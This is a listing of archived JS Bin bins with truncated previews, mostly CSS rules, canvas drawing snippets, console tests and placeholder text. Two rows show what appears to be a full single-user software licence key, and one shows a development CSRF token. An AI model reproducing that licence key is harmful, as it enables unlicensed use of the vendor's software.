caxex 28 Mar 2014 Archive Un-archive function () { console.log("ok"); }
qasoh 28 Mar 2014 Archive Un-archive function () { console.log(""); }
yizik 28 Mar 2014 Archive Un-archive // Weird: for (var i = 0; i < 10; i++) {}
jaqas 28 Mar 2014 Archive Un-archive console.log('ok');
zesey 28 Mar 2014 Archive Un-archive (function() { window.addEventListener("load",function() {init();},false); })(); function init() { var div=document.getElementsByTagName("div"); for (var i=0;i<div.length;i++) (function(n) { div[i].addEventListener("click",function(i){alert(i);},false); })
lodog 27 Mar 2014 Archive Un-archive (function() { window.addEventListener("load",function() {init();},false); })(); function init() { var div=document.getElementsByTagName("div"); for (var i=0;i<div.length;i++) (function(n) { div[i].addEventListener("click",function(i){alert(i);},false); })
kodeqasi 27 Mar 2014 Archive Un-archive See console. Throwing error with object literal with line breaks followed by a loop?
yenul 27 Mar 2014 Archive Un-archive (function() { window.addEventListener("load",function() {init();},false); })(); //noprotect function init() { var div=document.getElementsByTagName("div"); for (var i=0;i<div.length;i++) (function(n) { div[i].addEventListener("click",function(i){alert(i);
royod 27 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
ledep 26 Mar 2014 Archive Un-archive body { background: white; } .preview { display: table; width: 198px; table-layout: fixed; height: 100px; border: 1px solid #999; border-top: 0; background: #999; } .header { display: block; width: 200px; position: relative; height: 13px; background: #999;
1 23 Mar 2014 Archive Un-archive body { background: white; } .preview { display: table; width: 198px; table-layout: fixed; height: 100px; border: 1px solid #999; border-top: 0; background: #999; } .header { display: block; width: 200px; position: relative; height: 13px; background: #999;
yarac 25 Mar 2014 Archive Un-archive Okay.
vepeb 25 Mar 2014 Archive Un-archive body { font-family: sans-serif; } body { font-family: sans-serif; }
duwer 19 Mar 2014 Archive Un-archive var ctr = 0; setInterval(function () { ctr++; console.clear(); console.log("count: " + ctr); console.log("Random: " + Math.random()); }, 200);
mepoh 19 Mar 2014 Archive Un-archive This is pretty.
xedut 19 Mar 2014 Archive Un-archive MM vim
1 18 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
yixuh 14 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
qotes 14 Mar 2014 Archive Un-archive #DIV_1 { color: rgb(35, 35, 35); float: left; height: 35px; position: relative; text-decoration: none solid rgb(35, 35, 35); top: 0px; white-space: nowrap; width: 55px; z-index: 20; border: 0px none rgb(35, 35, 35); font: normal normal normal 13px/normal
dicux 13 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
mizar 13 Mar 2014 Archive Un-archive TWDTW #2 This week we released more experiments, discovered an experiment going very wrong and little two day retreat playing with ardunios. First pass at collaboration Giulia took together.js and implemented under an experimental flag. Sadly, and due to
canvas 13 Mar 2014 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight; c.width = window.innerWidth;
1187 09 Feb 2014 Archive Un-archive function spinner() { var c = document.createElement('canvas'); var ctx = c.getContext('2d'); c.height = c.width = 11; var scale = 10; var TORADIAN = Math.PI / 180; var w = c.width; var h = c.height; var deg = 0; var r = 4; var speed = 4; var tailspeed = 1
1182 09 Feb 2014 Archive Un-archive var scale = 10; var TORADIAN = Math.PI / 180; var w = c.width; var h = c.height; var deg = 0; var r = 20; var speed = 10; ctx.strokeStyle = 'red'; ctx.lineWidth = 0.5; var last = true; function draw() { requestAnimationFrame(draw); deg += speed; var start
1166 09 Feb 2014 Archive Un-archive var scale = 10; var TORADIAN = Math.PI / 180; var w = c.width; var h = c.height; var deg = 0; var r = 20; var speed = 10; ctx.strokeStyle = 'red'; ctx.lineWidth = 0.5; var last = true; function draw() { requestAnimationFrame(draw); var start = ((deg * 0.2
1180 09 Feb 2014 Archive Un-archive var scale = 10; var TORADIAN = Math.PI / 180; var w = c.width; var h = c.height; var deg = 0; var len = 0; var r = 20; var speed = 10; var len_speed_grow = 5; var len_speed_shrink = -5; var len_speed = len_speed_grow; ctx.strokeStyle = 'red'; ctx.lineWidt
1158 09 Feb 2014 Archive Un-archive var scale = 10; var TORADIAN = Math.PI / 180; var w = c.width; var h = c.height; var deg = 0; var r = 20; var speed = 10; ctx.strokeStyle = 'red'; ctx.lineWidth = 0.5; var last = true; function draw() { requestAnimationFrame(draw); var start = ((deg * 0.2
1156 18 Jan 2014 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight; c.width = window.innerWidth;
1154 15 Jan 2014 Archive Un-archive // code goes here! c.width = c.height = 10; ctx.fillStyle = '#B10DC9'; ctx.fillRect(0, 0, 10, 10);
1137 27 Oct 2013 Archive Un-archive // code goes here! var blue = '#162041', green = '#8dc04f'; ctx.beginPath(); ctx.arc(c.width/2, c.height/2, c.width / 2 * 0.8, 0, Math.PI / 180 * 270, false); ctx.lineWidth = 50; ctx.lineJoin = ctx.lineCap = 'round'; ctx.strokeStyle = blue; ctx.stroke();
1068 09 May 2013 Archive Un-archive offset = 50; c.width = 400; c.height = 450 + offset; // for the score ctx.font = '100 30px Roboto'; ctx.textAlign = 'center'; ctx.fillStyle = '#000'; ctx.textBaseline = 'bottom'; function paintScore() { ctx.fillText(100 + '', c.width/2, 35, c.width); } pa
1057 06 Apr 2013 Archive Un-archive // code goes here! ctx.fillRect(0,0,10,10);
1054 04 Apr 2013 Archive Un-archive // code goes here! ctx.canvas.width = ctx.canvas.height = 1; ctx.fillRect(0,0,1,1);
553 26 Feb 2012 Archive Un-archive // colour wheel var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
550 26 Feb 2012 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
549 26 Feb 2012 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
510 23 Dec 2011 Archive Un-archive Canvas arrow // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
509 23 Dec 2011 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
409 22 Sep 2011 Archive Un-archive // code goes here! // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
408 22 Sep 2011 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
354 11 Sep 2011 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); }; var pixels = ctx.getImageD
299 08 Aug 2011 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = window.innerHeight - 20; c.width = window.innerWidth - 20; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
lawav 13 Mar 2014 Archive Un-archive var this = "string"; var foo = "string"
jubux 11 Mar 2014 Archive Un-archive So his works if l stay in your own panels but if we joiin tt uit gets fucked up!!!
zihas 11 Mar 2014 Archive Un-archive body { font-family: sans-serif; font: sans-serif; }
pehep 11 Mar 2014 Archive Un-archive Let's share!!! /he waits...ooh friend
saxap 11 Mar 2014 Archive Un-archive Can what collaborative, look and listen? Hello j
dubux 11 Mar 2014 Archive Un-archive This is just a test...
jekim 10 Mar 2014 Archive Un-archive a =5;
degay 08 Mar 2014 Archive Un-archive JS Bin
puler 06 Mar 2014 Archive Un-archive ok
nadum 06 Mar 2014 Archive Un-archive The Prince &amp; the Popper
denob 06 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
cehiq 05 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
huzox 04 Mar 2014 Archive Un-archive This site is defaced Hello
moyuz 04 Mar 2014 Archive Un-archive body { font-family: sans-serif; }
moyow 04 Mar 2014 Archive Un-archive var width = document.getElementById("map").offsetWidth, height = width * 0.6369, active, hover; var projection = d3.geo.mercator() .scale( width * 0.159 ) .translate([width / 2, height / 2]); var path = d3.geo.path() .projection(projection); var svg = d3.
jahut 27 Feb 2014 Archive Un-archive Just an example that uses IE10
mumez 27 Feb 2014 Archive Un-archive Bump this revsion
1 26 Feb 2014 Archive Un-archive console.clear(); var sql = 'UPDATE `owners` SET `:field`=? WHERE `url`=? AND `revision`=?'; var fields = { archive: -1, url: 'deleted/foo' }; var colValues = []; var s = Object.keys(fields).map(function (key) { colValues.push(fields[key]); return '`' + ke
cayoh 26 Feb 2014 Archive Un-archive Example
rulay 25 Feb 2014 Archive Un-archive $ = document.getElementById.bind(document); function handleEventPar(e){ console.log('handleEventPar'); e.stopPropagation(); e.preventDefault(); } function handleEventInput() { console.log('handleEventInput'); } $('testParagraph').addEventListener('focus',
divoh 25 Feb 2014 Archive Un-archive var i = document.querySelector('input'); i.focus();
sarid 23 Feb 2014 Archive Un-archive function doit() { // this used to be an infinite loop! } doit();
wegav 23 Feb 2014 Archive Un-archive Why 5 chars :( - but this works? Last test.
2 23 Feb 2014 Archive Un-archive Why 5 chars :( Remy
1 20 Feb 2014 Archive Un-archive Why 5 chars :(
sog 23 Feb 2014 Archive Un-archive This is my last
1 20 Feb 2014 Archive Un-archive EXAMPLE BROKEN TEMPLATE fewa fea w fawe f wa faw
tilaf 21 Feb 2014 Archive Un-archive body { font-family: "Open Sans"; font-size: 12px; background-color: gray; } .dialog { border: 2px solid @@@main-color; border-radius: 2px; min-width: 400px; } .dialog-header { padding: 0; text-align: center; background-color: @main-color; line-height: 2em
pof 20 Feb 2014 Archive Un-archive JS Bin
qopeb 20 Feb 2014 Archive Un-archive ----- BEGIN LICENSE ----- Left Logic Single User License EA7E-911421 0E906BCB 2AC69BF0 0250E450 12BE2951 6178A482 9C1A1122 21BDBB82 A618A9D9 B88EDB98 DBAD4A9B FF80580E 2D488BDA F6540259 293391E8 CE799162 82BEEF89 5677096B 6E60C6B7 C17F3C3D 27E15B40 E7B170
1 20 Feb 2014 Archive Un-archive ----- BEGIN LICENSE ----- Left Logic Single User License EA7E-911421 0E906BCB 2AC69BF0 0250E450 12BE2951 6178A482 9C1A1122 21BDBB82 A618A9D9 B88EDB98 DBAD4A9B FF80580E 2D488BDA F6540259 293391E8 CE799162 82BEEF89 5677096B 6E60C6B7 C17F3C3D 27E15B40 E7B170
vax 20 Feb 2014 Archive Un-archive body { font-family: sans-serif; }
dewal 20 Feb 2014 Archive Un-archive Now this is new. Oh, wait I want this to be latest.
ruc 20 Feb 2014 Archive Un-archive
duhaz 19 Feb 2014 Archive Un-archive Yay - fixed.
wipok 19 Feb 2014 Archive Un-archive Example
but 19 Feb 2014 Archive Un-archive JS Bin
cas 19 Feb 2014 Archive Un-archive a
gen 19 Feb 2014 Archive Un-archive
xot 19 Feb 2014 Archive Un-archive Focus the shizz
bududemu 19 Feb 2014 Archive Un-archive A B C D
lob 19 Feb 2014 Archive Un-archive Instagram with React
tob 19 Feb 2014 Archive Un-archive %css%
zom 18 Feb 2014 Archive Un-archive Find out what your device's viewport size is with this handy tool. Created by Matt Stow
1 18 Feb 2014 Archive Un-archive Find out what your device's viewport size is with this handy tool. Created by Matt Stow
loliy 18 Feb 2014 Archive Un-archive html, body { min-height: 100%; } body, input { font-family: sans-serif; font-size: 16px; } body { background: #0074D9; } input { padding: 4px; } #keyboard { display: block; background: #2ECC40; position: fixed; bottom: 0; left: 0; right: 0; height: 44px;
1 18 Feb 2014 Archive Un-archive html, body { min-height: 100%; } body, input { font-family: sans-serif; font-size: 16px; } input { padding: 4px; } #keyboard { display: block; background: #0074D9; position: fixed; bottom: 0; left: 0; right: 0; height: 44px; } .blur #keyboard { display: n
joj 18 Feb 2014 Archive Un-archive var el = document.body; var focused = false; el.onfocus = function (e) { console.log(e); focused = true; focusCheck(); }; el.onblur = function () { focused = false; focusCheck(); }; var timer = null; window.onresize = function () { cancelAnimationFrame(ti
pukor 18 Feb 2014 Archive Un-archive
liqiw 18 Feb 2014 Archive Un-archive body { font-family: sans-serif; }
cocef 18 Feb 2014 Archive Un-archive This is an example?
pafay 16 Feb 2014 Archive Un-archive body { font-family: sans-serif; }
1 16 Feb 2014 Archive Un-archive Going to delete v2
mutin 16 Feb 2014 Archive Un-archive body { font-family: sans-serif; }
1 16 Feb 2014 Archive Un-archive Deleted example
zerer 16 Feb 2014 Archive Un-archive URL id test. v2
1 16 Feb 2014 Archive Un-archive URL id test
moy 16 Feb 2014 Archive Un-archive These are the new urls.
cupup 16 Feb 2014 Archive Un-archive ...
cupun 14 Feb 2014 Archive Un-archive body { font-family: sans-serif; font-size: 20px; }
4 14 Feb 2014 Archive Un-archive Just testing so hoping this still works. Yeah This still working?... did restarting mess it up?
3 14 Feb 2014 Archive Un-archive Just testing so hoping this still works. Yeah
2 14 Feb 2014 Archive Un-archive Just testing so hoping this still works. Yeah V2
1 14 Feb 2014 Archive Un-archive Just testing so hoping this still works. Yeah
hayaf 14 Feb 2014 Archive Un-archive JS Bin
jisur 11 Feb 2014 Archive Un-archive Welcome Lorem ipsum dolor sit amet, consectetur adipisicing elit. Veniam totam consequuntur ut illo? Similique, facere, accusamus, autem delectus eum sed soluta blanditiis tempora fugit magni provident incidunt nemo quo cupiditate. JS Bin Welcome Lorem
jupaf 11 Feb 2014 Archive Un-archive var root = 'http://localhost:8001'; var re = new RegExp(root + '/(.*?)/(\\d+)/(watch|edit)') var ref = 'http://localhost:8001/juho/27/watch'; console.log( ref.match(re) )
mejit 11 Feb 2014 Archive Un-archive Sweet
gacuk 11 Feb 2014 Archive Un-archive Shortcut code Shortcut Snippet clconsole.log("$0") var remy = 'sharp'; // cool - this works.
yiheg 11 Feb 2014 Archive Un-archive one two three four five
lafap 09 Feb 2014 Archive Un-archive var tomorrow = moment().add('d', 1); var d = moment().add('h', 24) console.log( moment(d).isBefore(tomorrow) );
UliDUmeS 09 Feb 2014 Archive Un-archive var cards = document.querySelectorAll('.card'); [].forEach.call(cards, function (el) { var header = el.querySelector('header'); header.onclick = function (e) { el.classList.toggle('open'); e.preventDefault(); }; }); function spinner(c) { 'use strict'; c =
4 03 Feb 2014 Archive Un-archive var cards = document.querySelectorAll('.card'); [].forEach.call(cards, function (el) { var header = el.querySelector('header'); header.onclick = function (e) { el.classList.toggle('open'); e.preventDefault(); }; });
3 03 Feb 2014 Archive Un-archive html, body { margin: 0; background: #f00; min-height: 100%; position: relative; font-family: 'helvetica neue'; } body h2:first-child { margin-top: 20px; } h2 { margin: 20px 20px 0px 10px; font-size: 16px; clear: both; } .card div { display: inline-block;
2 01 Feb 2014 Archive Un-archive h2 Public Viewer div.card.meta header img(src="http://localhost:8000/remy.jpg") .meta .name rem span.pro pro span.when Modified yesterday .viewers 10 span viewers .body ul li select option Public option Private to me option Left Logic option Danny Hope Lt
1 31 Jan 2014 Archive Un-archive h2 Public Viewer div.card.meta header img(src="http://localhost:8000/remy.jpg") .meta .name. Remy Sharppro span.when Modified: yesterday .viewers. 10viewers h2 Private Team Member div.card.meta.private header img(src="http://localhost:8000/remy.jpg") .met
bime 07 Feb 2014 Archive Un-archive onewooo two three
taja 07 Feb 2014 Archive Un-archive onewooo two three
dowa 06 Feb 2014 Archive Un-archive Test. Does this work? Cool. First stats stream working....oh wow, did that keep up? It did...that won't update. var remy = 'sharp' jsbinShowEdit({"root":"http://localhost:8001","csrf":"dB7/hpfCbJW6FV4pvv/dcRz8"}); if (!window.EventSource) document.wri
kaju 06 Feb 2014 Archive Un-archive JS Bin
dive 05 Feb 2014 Archive Un-archive var foo = 'bar';
naxi 05 Feb 2014 Archive Un-archive var foo = 'bar';
yojo 05 Feb 2014 Archive Un-archive We do like urls that we can say out loud, it makes it easier.
quto 05 Feb 2014 Archive Un-archive New urls structure - sweet!
font 05 Feb 2014 Archive Un-archive // apparently.
IGoZafOk 04 Feb 2014 Archive Un-archive JS Bin
EVuPeLA 03 Feb 2014 Archive Un-archive Disabled
AYEVUXE 03 Feb 2014 Archive Un-archive JS Bin
iJOQAYeg 02 Feb 2014 Archive Un-archive body { background: white; } li { position:relative; z-index:1; overflow:hidden; list-style:none; padding:0; margin:0 0 0.25em; } li:before, li:after, li a:before, li a:after { content:""; position:absolute; top:50%; left:0; } li:before, li:after, li a:bef
IHuBeVIj 01 Feb 2014 Archive Un-archive html, body { margin: 0; background: #f00; min-height: 100%; position: relative; font-family: 'helvetica neue'; } body h2:first-child { margin-top: 20px; } h2 { margin: 20px 20px 0px 10px; font-size: 16px; clear: both; } .card div { display: inline-block;
iJeSIJEf 31 Jan 2014 Archive Un-archive a#back(href='#{jsbin}/') Back to JS Bin
ajEqEleH 31 Jan 2014 Archive Un-archive
OcexezEx 31 Jan 2014 Archive Un-archive doctype html body#body.body
OHeYukEd 29 Jan 2014 Archive Un-archive body { font-family: 'helvetica neue'; font-weight: 400; } body, code { font-size: 18px; } p { margin: 0; display: inline-block; } ul { -webkit-column-count: 3; -moz-column-count: 3; -ms-column-count: 3; /* -o- does this still exist? */ -o-column-count: 3;
1 29 Jan 2014 Archive Un-archive body { font-family: 'helvetica neue'; font-weight: 400; } body, code { font-size: 18px; } p { margin: 0; } ul { -webkit-column-count: 3; -moz-column-count: 3; -ms-column-count: 3; /* -o- does this still exist? */ -o-column-count: 3; column-count: 3; } li
ozAFodem 29 Jan 2014 Archive Un-archive Back to JS BinBlogHelpUpgrade to ProLorem ipsum dolor sit amet, consectetur adipisicing elit. Repudiandae numquam illum excepturi expedita accusantium pariatur ducimus similique rerum vel harum nobis sint reiciendis impedit. Repellat iste possimus porro e
1 29 Jan 2014 Archive Un-archive Back to JS BinBlogHelpUpgrade to ProLorem ipsum dolor sit amet, consectetur adipisicing elit. Repudiandae numquam illum excepturi expedita accusantium pariatur ducimus similique rerum vel harum nobis sint reiciendis impedit. Repellat iste possimus porro e
eHEsoma 28 Jan 2014 Archive Un-archive JS Bin
uzAZeHaJ 28 Jan 2014 Archive Un-archive Back to JS Bin Upgrade to Pro Blog Login Register Lorem ipsum dolor sit amet, consectetur adipisicing elit. Repudiandae numquam illum excepturi expedita accusantium pariatur ducimus similique rerum vel harum nobis sint reiciendis impedit. Repellat is
2 26 Jan 2014 Archive Un-archive Back to JS Bin Pro features Blog Login Register Lorem ipsum dolor sit amet, consectetur adipisicing elit. Repudiandae numquam illum excepturi expedita accusantium pariatur ducimus similique rerum vel harum nobis sint reiciendis impedit. Repellat iste
1 26 Jan 2014 Archive Un-archive html, body { min-height: 100%; background: white; margin: 0; color: #111111; font-family: 'helvetica neue', helvetica; font-weight: 200; font-size: 18px; } header { width: 100%; }
uheBIlEY 28 Jan 2014 Archive Un-archive var name; var hallo; console.log(name); console.log(hallo); document.write(name);
oDOJowUJ 28 Jan 2014 Archive Un-archive function run() { $panels = $('#panels > div'); $('a.tab').click(function (e) { var $el = $(this); $panels.hide(); $(this.hash).show(); if (history.pushState) { e.preventDefault(); history.pushState({}, $el.find('h2').text(), $el.data('url')); } }).filter(
isaJuwa 27 Jan 2014 Archive Un-archive app.get('/login', function (req, res, next) { if (req.ajax) { // not sure if this is res.render or res.send... res.render('login', { layout: false; }); } else { res.render('login', { layout: 'sub/layout.html' }); } });
uqEwiYav 27 Jan 2014 Archive Un-archive app.get('/login', function(req, res, next) { res.render('login', { data: true, layout: 'sub/layout.html' }) })
AsOKalI 25 Jan 2014 Archive Un-archive
1 25 Jan 2014 Archive Un-archive Alert me
OHEYOyI 22 Jan 2014 Archive Un-archive Green?
eHoQIRul 21 Jan 2014 Archive Un-archive var o = { user: 'remy' }; console.log('remy'); console.log(12); console.log(o); console.log(JSON.stringify(o));
eVozOwa 20 Jan 2014 Archive Un-archive console.log(JSON.stringify("remy"));
UROhIVeR 16 Jan 2014 Archive Un-archive Welcome to privacy If you manage to read this, congratulations, you've hacked our privacy - good thing it's alpha!
2 16 Jan 2014 Archive Un-archive body, h1 { background: #111111; color: #dddddd; font-family: 'helvetica neue'; font-weight: 100; } p { letter-spacing: 0.05em; }
1 16 Jan 2014 Archive Un-archive If you manage to read this, congratulations, you've hacked our privacy - good thing it's alpha!
ASAlUZO 16 Jan 2014 Archive Un-archive JS Bin
1 16 Jan 2014 Archive Un-archive JS Bin
UneNaLE 16 Jan 2014 Archive Un-archive testing dynamic dropdown
OXaDopo 15 Jan 2014 Archive Un-archive html, body { background: #111; color: #DDD; font-family: 'Press Start 2P', cursive; font-size: 18px; font-weight: 100; text-align: center; height: 100%; margin: 0; } small { font-size: 50%; } .flex-container { height: 100%; display: -webkit-box; display:
AQeJOSU 14 Jan 2014 Archive Un-archive body { background: #FF4136; color: white; font-family: 'helvetica neue'; font-weight: 200; font-size: 18px; }
1 14 Jan 2014 Archive Un-archive Foobar And now this stuff
EleXejU 13 Jan 2014 Archive Un-archive var a = "PORT=8000"; var a = "USER=remy"; var b = {}; a.split('=').forEach(''.split.bind('', '&').forEach(function(val) { b[val[0]] = val[1]; }); console.log(a, b);
2 13 Jan 2014 Archive Un-archive var a = "PORT=8000"; var a = "USER=remy"; /*var b = {}, pair = a.split("="); b[pair[0]] = pair[1];*/ var b = {}; eval("b." + a); console.log(a, b);
UBaxIKI 11 Jan 2014 Archive Un-archive console.clear(); var cache = {}; var O = function (key) { if (cache[key]) { return cache[key]; } this.key = key; cache[key] = this; console.count('new'); return this; }; O.prototype.log = function () { console.log(this.key); }; var a = new O('rem'); a.log
IzEkeCIR 10 Jan 2014 Archive Un-archive JS Bin
OXaruga 10 Jan 2014 Archive Un-archive var user = parseInt("0000", 2); var pro = parseInt("0010", 2); var team = parseInt("0110", 2); var myUserPerms = 0; function givePro(userPerms) { return userPerms | pro; } function giveTeam(userPerms) { return (userPerms | pro) | team; // because we have
1 10 Jan 2014 Archive Un-archive var user = parseInt("0000", 2); var pro = parseInt("0010", 2); var team = parseInt("0100", 2); var myUserPerms = 0; function givePro(userPerms) { return userPerms | pro; } function giveTeam(userPerms) { return (userPerms | pro) | team; // because we have
aZIpaWO 10 Jan 2014 Archive Un-archive console.log(docCookies.getItem('jsbin'));
igiXabiT 09 Jan 2014 Archive Un-archive html { background: #0A2933; min-height: 100%; }
oCujAqA 09 Jan 2014 Archive Un-archive # Hello
1 09 Jan 2014 Archive Un-archive console.log "remy"
imoCopaz 08 Jan 2014 Archive Un-archive Внимание! Хотите подписаться?
1 08 Jan 2014 Archive Un-archive
IBiZimE 08 Jan 2014 Archive Un-archive Hello
IgiCaLo 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
ObAmOsak 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных исследований, а также судебных экспертов - участников процессуального действия, состоящего из проведения исследований и дач
5 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
6 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
4 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
3 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
2 06 Jan 2014 Archive Un-archive Палата объединяет на профессиональной основе организации и учреждения, работающие в сфере судебной экспертизы и судебных экспертных иссл
ASIbuyaj 06 Jan 2014 Archive Un-archive angular.module('myApp', []) .controller('DashboardController', [ '$scope', 'GithubService', function($scope, GithubService) { $scope.results = []; $scope.pullRequests = GithubService.getPullRequests(); GithubService.getPullRequests() .then(function(result
OPOMaQOK 06 Jan 2014 Archive Un-archive Привет! Я очень длинный блок and with a change
4 06 Jan 2014 Archive Un-archive привет мир
3 06 Jan 2014 Archive Un-archive Привет! Я очень длинный блок
uJADeNu 06 Jan 2014 Archive Un-archive привет мир
IfUKOlA 02 Jan 2014 Archive Un-archive Hello
uHOfUlig 02 Jan 2014 Archive Un-archive prompt("Select a new url for this bin");
egAQoqi 02 Jan 2014 Archive Un-archive fehwfkjh
uLOYUyAH 02 Jan 2014 Archive Un-archive /*\ |*| |*| :: cookies.js :: |*| |*| A complete cookies reader/writer framework with full unicode support. |*| |*| https://developer.mozilla.org/en-US/docs/DOM/document.cookie |*| |*| This framework is released under the GNU Public License, version 3 or l
UrATAZoR 02 Jan 2014 Archive Un-archive nodemon reload, automatically. Nodemon is a utility that will monitor for any changes in your source and automatically restart your server. Perfect for development. Just use nodemon instead of node to run your code, and now your process will automaticall
OzeBaTa 02 Jan 2014 Archive Un-archive Hello world
eBOpahAh 29 Dec 2013 Archive Un-archive @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 100; src: local('Roboto Thin'), local('Roboto-Thin'), url(http://themes.googleusercontent.com/static/fonts/roboto/v9/vzIUHo9z-oJ4WgkpPOtg13YhjbSpvc47ee6xR_80Hnw.woff) format('woff'); } @
2 07 Dec 2013 Archive Un-archive JS Bin
1 04 Dec 2013 Archive Un-archive body { background: #76d04b; /* background: white; */ } svg { width: 200px; /* border: 1px solid red; */ height: 200px; margin: 200px auto; display: block; fill: #4F4D3F; }
eLuSoYUz 21 Dec 2013 Archive Un-archive p:first-word{font-weight:bold;}
IresUgi 21 Dec 2013 Archive Un-archive var strings = [ 'A Figure', 'a figure', 'A figure', 'A FIgure', // mixed 'A FiGure', // mixed 'A FIGURE', // mixed (though if this be ignored, then good) 'a FigurE', // mixed 'a FIGURe' // mixed ]; var re = /\b\w+[A-Z]\w*\b/; console.clear(); console.log(
2 21 Dec 2013 Archive Un-archive var strings = [ 'A Figure', 'a figure', 'A figure', 'A FIgure', // mixed 'A FiGure', // mixed 'A FIGURE', // mixed (though if this be ignored, then good) 'a FigurE', // mixed 'a FIGURe' // mixed ]; var re = /\b\w+[A-Z]\w*\b/; console.clear(); console.log(
1 21 Dec 2013 Archive Un-archive var strings = [ 'A Figure', 'a figure', 'A figure', 'A FIgure', // mixed 'A FiGure', // mixed 'A FIGURE', // mixed (though if this be ignored, then good) 'a FigurE', // mixed 'a FIGURe' // mixed ]; var re = /\b[A-Z]\b/g; console.clear(); console.log('Expe
ESUHovi 11 Dec 2013 Archive Un-archive JS Bin
eQOvUNAW 11 Dec 2013 Archive Un-archive function log(obj) { console.log(obj); } var obj = { a: 1, b: 2 }; var logit = log.bind(null, obj); obj.a = 10; logit();
IJIQeHij 11 Dec 2013 Archive Un-archive var a = { a: 1, b: 2, }; alert('ok');
otEYOKon 08 Dec 2013 Archive Un-archive Example of repl...
oNureYu 06 Dec 2013 Archive Un-archive Привет! Я очень длинный блок
uZeKAjA 04 Dec 2013 Archive Un-archive
oPoPugIz 02 Dec 2013 Archive Un-archive var iframe = function () { var f = document.createElement('iframe'); document.body.appendChild(f); return f; } var f = iframe(), win = f.contentWindow; win.document.open(); win.document.write('<p>Hello</p>'); win.document.close(); document.body.removeChil
1 02 Dec 2013 Archive Un-archive var iframe = function () { var f = document.createElement('iframe'); document.body.appendChild(f); }
EsiXUsAD 01 Dec 2013 Archive Un-archive console.log('work?');
ikAdUjO 01 Dec 2013 Archive Un-archive × Add another ×
2 18 Nov 2013 Archive Un-archive × Add another ×
1 23 Oct 2013 Archive Un-archive × Add another ×
ONOpOZIG 27 Nov 2013 Archive Un-archive // when.js /** @license MIT License (c) copyright 2011-2013 original author or authors */ /** * A lightweight CommonJS Promises/A and when() implementation * when is part of the cujo.js family of libraries (http://cujojs.com/) * * Licensed under the MIT L
ILINOZOh 26 Nov 2013 Archive Un-archive function a() { console.log('in a'); b(); } function b() { console.log('in b'); setTimeout(c, 0); } function c() { console.log('in c'); // check the stacktrace now, but we only // see "c" - but because the setTimeout // has baked the trace (correctly), it
EqAYuca 26 Nov 2013 Archive Un-archive var $ = document.querySelector.bind(document); var version = $('select'); var releases = document.querySelectorAll('ul'); NodeList.prototype.each = [].forEach; var hide = function (node) { node.hidden = true; }; version.onchange = function () { releases.e
uWEMabow 22 Nov 2013 Archive Un-archive for (var i = 1; i++; i < 10) { } console.log('yay it worked');
1 22 Nov 2013 Archive Un-archive JS Bin
uLegUkE 22 Nov 2013 Archive Un-archive while (true) { } console.log('yay it worked');
AkUdICu 22 Nov 2013 Archive Un-archive var Person = function (name) { console.log('new person got created'); this.name = name; this.on('tired', function () { console.log('I am tired'); }); }; Person.prototype = { on: function() {} } var Developer = function (name) { Person.apply(this, argument
EvAXEvo 21 Nov 2013 Archive Un-archive
uhiyaPuD 21 Nov 2013 Archive Un-archive var log = console.log.bind(console); var Events = function () { this.register = {}; }; Events.prototype = { on: function (event, fn) { if (!this.register[event]) this.register[event] = []; this.register[event].push(fn.bind(this)); return this; }, fire: fu
EjOborEt 21 Nov 2013 Archive Un-archive JS Bin
UzIYiVi 21 Nov 2013 Archive Un-archive This is nice........
3 21 Nov 2013 Archive Un-archive This is nice......
2 21 Nov 2013 Archive Un-archive This is nice....
1 21 Nov 2013 Archive Un-archive alert('ok');
